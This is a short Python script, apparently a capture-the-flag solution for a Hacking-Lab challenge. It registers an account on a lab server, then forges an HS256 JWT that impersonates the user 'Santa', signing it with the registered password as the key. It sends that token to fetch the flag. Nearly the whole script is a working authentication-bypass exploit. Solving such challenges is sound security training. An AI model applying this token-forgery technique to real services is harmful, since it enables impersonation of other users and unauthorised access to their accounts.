#!/usr/bin/python

import jwt
import requests
import sys
import prompt
import json
import time

URL = "http://whale.hacking-lab.com:10101"
USERNAME = prompt.string("Username: ") if len(sys.argv) < 2 else sys.argv[1]
PASSWORD = "AAAAAAAAAAAAAAAA"

def registerUser():
    payload = json.dumps({"username":USERNAME,"password":PASSWORD})
    res = requests.post(URL + "/fsja/register", data=payload, headers={"Content-Type":"application/json"})
    if res.status_code != 200:
        data = res.text
        if res.status_code == 409 and json.loads(data)["errorMessage"] == "User already exists":
            return

        print("Server returned %d %s" % (res.status_code, res.reason))
        print(data)
        exit(1)

def getFlag():
    payload = {
      "user": {
        "username": "Santa",
        "password": PASSWORD,
        "platinum": False
      },
      "exp": time.time() + 60*60
    }

    jwtPayload = jwt.encode(payload, PASSWORD, algorithm='HS256').decode("UTF-8")
    res = requests.get(URL + "/fsja/random?token=%s" % jwtPayload)
    if res.status_code != 200 and res.status_code != 201:
        print("Server returned %d %s" % (res.status_code, res.reason))
        print(res.text)
        exit(1)

    data = res.text
    print(json.loads(data)["joke"])

if __name__ == "__main__":
    registerUser()
    getFlag()
